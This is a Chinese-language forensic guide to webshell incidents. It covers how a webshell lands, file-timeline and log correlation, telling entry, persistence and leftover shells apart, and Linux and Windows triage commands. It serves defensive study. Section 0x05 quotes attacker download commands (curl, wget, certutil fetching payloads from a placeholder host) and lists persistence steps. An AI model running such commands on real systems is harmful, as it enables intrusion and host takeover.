WebShell落地与文件时间线分析

WebShell落地与文件时间线分析

在 0x02电子取证 里，web后门查杀 更多记录的是扫描工具，例如 D 盾、河马、牧云、在线扫描服务。这些工具在现场非常重要，但它们解决的主要是“有没有可疑文件”。

到了 0x03取证分析，真正困难的问题变成：

• 这个 WebShell 是如何进入服务器的？
• 它是否真的被访问和使用过？
• 它是攻击的起点、维持点，还是攻击结束后遗留的垃圾？
• 通过它又发生了哪些二次攻击动作？

要回答这些问题，必须把文件时间线、Web 访问日志、系统进程、落地载荷和后续网络行为拼成完整链路。

0x01 WebShell 分析不能只看文件内容

很多应急人员一看到一句话木马、冰蝎特征或可疑 PHP 代码，就急着下结论：“服务器被挂马了。”

这一步只完成了“文件定性”，还没有完成“事件定性”。因为真实情况可能有多种：

1. WebShell 是攻击入口 攻击者通过上传漏洞、文件包含、代码执行把它写进去，然后立刻开始控制主机。
2. WebShell 是后续驻留点 攻击者先通过别的方式入侵，再补一个 WebShell 留作备用入口。
3. WebShell 是历史遗留 文件存在，但当前事件与它无直接关系。
4. WebShell 是诱饵或误报 某些测试文件、加密框架、混淆组件可能被工具误报。

因此，文件内容只是起点，决定结论的是时间线和上下文。

0x02 先确认 WebShell 是怎么落地的

分析 WebShell 时，第一步要尽可能回答“它是怎么写进去的”。

1. 常见落地方式

• 文件上传漏洞
• 编辑器 / 插件任意文件上传
• 文件包含写入
• 命令执行后回显写马
• 弱口令后台上传模板或主题
• 供应链投毒 / 运维误传

2. 关键证据源

• Web 访问日志
• 上传目录文件时间
• 应用日志 / 审计日志
• WAF / 反向代理日志
• 业务后台操作日志

若能在访问日志中看到：

• 上传接口请求
• multipart/form-data
• 文件名异常
• 上传成功响应

并且该请求时间与 WebShell 文件创建时间接近，那么“落地路径”基本就能成立。

0x03 文件时间线是 WebShell 分析的骨架

WebShell 分析最重要的一条主线，就是文件时间线。

应重点关注：

• 创建时间
• 修改时间
• 访问时间
• MFT / inode 元数据时间
• 同目录下其他文件的时间分布

1. 为什么要看同目录时间

单独看一个 WebShell 的时间意义有限。更有价值的是观察同目录下：

• 是否在同一分钟内还落了其他脚本
• 是否生成了压缩包、配置文件、临时载荷
• 是否修改了正常页面形成页面篡改

如果某个上传目录在 10:32 同时出现：

• a.php
• 1.jpg.php
• cache.asp
• update.ico

那么这通常说明不是人工运维，而是一次批量落地动作。

2. 时间戳伪造要怎么识别

攻击者可能会用 touch、文件复制、时间戳伪造工具去“压平”异常时间。

典型异常：

• 创建时间明显新于修改时间
• 文件内容很新，但时间看上去与系统部署时间一致
• 目录索引、日志时间与文件时间对不上

因此，时间线分析不能只信表面时间，还要结合访问日志与应用行为验证。

0x04 判断 WebShell 是否被真正使用过

很多服务器上能扫出可疑马，但真正关键的是：它有没有被操作过。

1. 访问日志是第一证据

重点寻找：

• 对 WebShell 文件的直接 GET / POST 请求
• 非常规参数，如 cmd=, pass=, eval=, z=
• 高频小包 POST
• 特定 UA、固定来源 IP、夜间持续访问

典型使用痕迹包括：

• 初次访问返回 200
• 紧接着一连串短请求
• 参数长度异常稳定
• 后续出现文件上传、命令执行、下载外联

如果文件存在但日志中从未被访问，说明它可能是失败残留、备用入口或历史文件，而不是本次事件的实际操作面。

2. 响应大小和访问节奏也很关键

成熟 WebShell 客户端通常有相对固定的通信特征：

• 连续 POST
• 响应体较小但规律明显
• 不符合正常页面访问行为

例如：

• 每次请求间隔数秒
• 响应大小长期集中在几十到几百字节
• IP 稳定、UA 异常单一

这比只看“是否请求过这个文件”更能反映控制行为。

0x05 从 WebShell 到系统控制的二次攻击链

WebShell 很少是攻击终点，它更像一个跳板。真正危险的是它带来的后续动作。

1. 下载载荷

常见命令：

curl http://x.x.x.x/a.sh -o /tmp/a.sh
wget http://x.x.x.x/b
certutil -urlcache -split -f http://x.x.x.x/a.exe a.exe

分析重点：

• 下载 URL
• 本地落地路径
• 下载时间与 WebShell 访问时间的先后
• 下载后是否立即执行

2. 写入持久化

常见动作：

• 写计划任务
• 写启动项
• 写服务
• 写 authorized_keys
• 增加系统用户

这一步将 Web 层入侵升级为主机长期失陷。

3. 横向移动与跳板

常见动作：

• 扫描内网
• 连接数据库
• 使用 Web 服务器做 SOCKS 代理
• 打包配置文件、密钥、数据库备份

如果 WebShell 所在主机是 DMZ 或业务前端机，那么它极可能只是进入内网的桥头堡。

0x06 按攻击链区分三种 WebShell 场景

1. 入口型 WebShell

特征：

• 上传漏洞或异常请求先出现
• WebShell 紧接着创建
• 很快被访问并执行命令
• 之后开始落地样本和后门

结论：

它是本次事件的初始突破面。

2. 驻留型 WebShell

特征：

• 主机已先被拿下
• 之后某个时间点写入 WebShell
• 后续访问频率不高，但会定期被调用

结论：

它是攻击者留给自己的“备用入口”。

3. 残留型 WebShell

特征：

• 文件存在较久
• 当前日志中没有访问
• 当前攻击链主要发生在 SSH、RDP、木马或计划任务层

结论：

它依然是风险点，但不一定是本次事件的核心入口。

0x07 结合日志判断一句话木马和高级 WebShell

不同类型 WebShell，日志表现也不同。

1. 一句话木马

特点：

• 文件极小
• 参数简单
• 依赖 POST 参数执行
• 通常请求模式比较直接

日志上常见：

• 指向单个脚本文件的持续 POST
• 参数名短而固定
• 响应大小较小

2. 冰蝎 / 哥斯拉等加密通信型

特点：

• 参数与载荷加密
• 请求表面更接近正常业务
• 可能混入 Cookie、特定 Header

日志上常见：

• POST 包体较大
• UA 伪装正常浏览器
• 同一路径被持续低频控制

这类场景仅靠文件内容可能看不出全部，必须配合访问行为、流量侧与解密分析。

0x08 公开案例与现场命令

1. 案例一：Exchange ProxyLogon 后的 WebShell 落地与后续凭据抓取

Unit 42 在 2021 年披露的 Exchange 漏洞利用事件，是 WebShell 取证里非常经典的公开案例：

• 攻击者先利用 ProxyLogon 相关漏洞
• 在 Exchange Web 目录写入 WebShell
• 随后通过 WebShell 执行 PowerShell
• 继续做主机信息收集、凭据抓取和压缩外传

这个案例最适合写进 WebShell 文章的原因是，它把最重要的三个阶段都展示得很清楚：

1. WebShell 怎么落地
2. WebShell 怎么被访问
3. WebShell 之后如何演变成系统级控制

公开来源：

• Unit 42: Actor Exploits Microsoft Exchange Server Vulnerabilities, Cortex XDR Blocks Harvesting of Credentials

2. 案例二：冰蝎 / Godzilla / China Chopper 类客户端的行为特征

公开安全研究和蓝队经验里，像 China Chopper、冰蝎、哥斯拉/Godzilla 这类客户端的共同特征都很适合直接落进现场分析：

• 文件往往很小
• POST 请求稳定
• 参数名短或经过编码
• 响应体大小规律明显
• 常伴随文件上传、命令执行、下载样本

这一类虽然未必都需要特定单篇案例才能成立，但它们在实战中极具普适性，非常适合配合访问日志做快速定性。

3. Nginx / Apache 现场排查命令

按可疑脚本名回查访问记录

grep -RInE 'a\.php|shell\.php|cmd\.php|1\.jpg\.php|cache\.asp' /var/log/nginx /var/log/httpd /var/log/apache2 2>/dev/null

按 POST 和上传行为缩时间窗

grep -RIn 'POST ' /var/log/nginx /var/log/httpd /var/log/apache2 2>/dev/null | tail -n 100
grep -RIn 'multipart/form-data' /var/log/nginx /var/log/httpd /var/log/apache2 2>/dev/null

按时间窗回查某目录相关请求

grep '15/Jun/2026:10:3' /var/log/nginx/access.log | grep '/uploads/'

查落地文件时间

find /var/www /usr/share/nginx/html /opt/tomcat/webapps -type f \( -name "*.php" -o -name "*.jsp" -o -name "*.aspx" -o -name "*.asp" \) -mtime -7 -ls 2>/dev/null
stat /var/www/html/uploads/a.php 2>/dev/null

4. IIS / Windows 现场排查命令

查 Web 目录最近变更文件

Get-ChildItem "C:\inetpub\wwwroot","D:\wwwroot" -Recurse -Force -ErrorAction SilentlyContinue |
  Where-Object {$_.Extension -in ".aspx",".asp",".php",".jsp"} |
  Sort-Object LastWriteTime -Descending |
  Select-Object -First 100 FullName, Length, LastWriteTime

查 IIS 日志里的可疑脚本访问

Get-ChildItem "C:\inetpub\logs\LogFiles" -Recurse -ErrorAction SilentlyContinue |
  Select-String -Pattern "POST .*\.aspx|POST .*\.php|cmd=|pass=|eval=|upload|multipart/form-data"

查 WebShell 后续触发的系统命令

$start=(Get-Date).AddDays(-3)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688; StartTime=$start} |
  Where-Object {
    $_.Message -match 'w3wp\.exe|cmd\.exe|powershell\.exe|certutil\.exe|rundll32\.exe'
  } |
  Select-Object TimeCreated, Message

如果出现：

• w3wp.exe -> cmd.exe
• w3wp.exe -> powershell.exe

那往往就是 Web 层控制已经进入系统层。

5. 一条现场可直接执行的实战流程

建议按下面顺序落地：

1. 先从 Web 根目录和上传目录找近期新增脚本文件
2. 再从访问日志按脚本名、POST、参数名、上传行为回查
3. 再用文件时间与访问时间比对，确认“落地 -> 首次访问 -> 连续控制”
4. 最后再查 w3wp/httpd/nginx/php-fpm/tomcat 后续是否拉起系统命令或下载载荷

做到这一步，基本就能判断 WebShell 是入口、驻留还是残留。

0x09 如何把 WebShell 事件做成可交付时间线

建议把事件整理为表格：

这样可以非常清楚地区分：

• 入口请求
• WebShell 落地
• 实际控制
• 二次入侵动作

0x0A 分析中的常见误区

1. 扫描器报马就直接定性

误报并不少见，尤其是：

• 加密框架
• 模板缓存
• 混淆压缩后的业务文件
• 第三方插件代码

必须结合访问日志和文件时间线判断。

2. 只关注 Web 根目录

攻击者可能把 WebShell 放在：

• 上传目录
• 静态资源目录
• 备份目录
• 被忽视的旧版本站点目录
• 临时发布目录

3. 只分析 WebShell，不分析后续危害

真正的损害通常不是“多了个 .php 文件”，而是：

• 系统被控
• 数据被窃
• 服务器被用作跳板
• 业务页面被篡改

WebShell 只是门，不是全部事件本身。

0x0B 总结

web后门查杀 在 0x02 阶段解决的是“把可疑文件找出来”；而在 0x03 阶段，真正需要完成的是：

• 判断它如何落地
• 判断它是否被实际使用
• 判断它在攻击链中的角色
• 判断它引发了哪些后续系统级动作

只有把文件时间线、访问日志、命令执行、载荷落地和持久化连起来，WebShell 才不再只是一个“恶意文件样本”，而能变成一条完整、可复盘、可交付的入侵路径。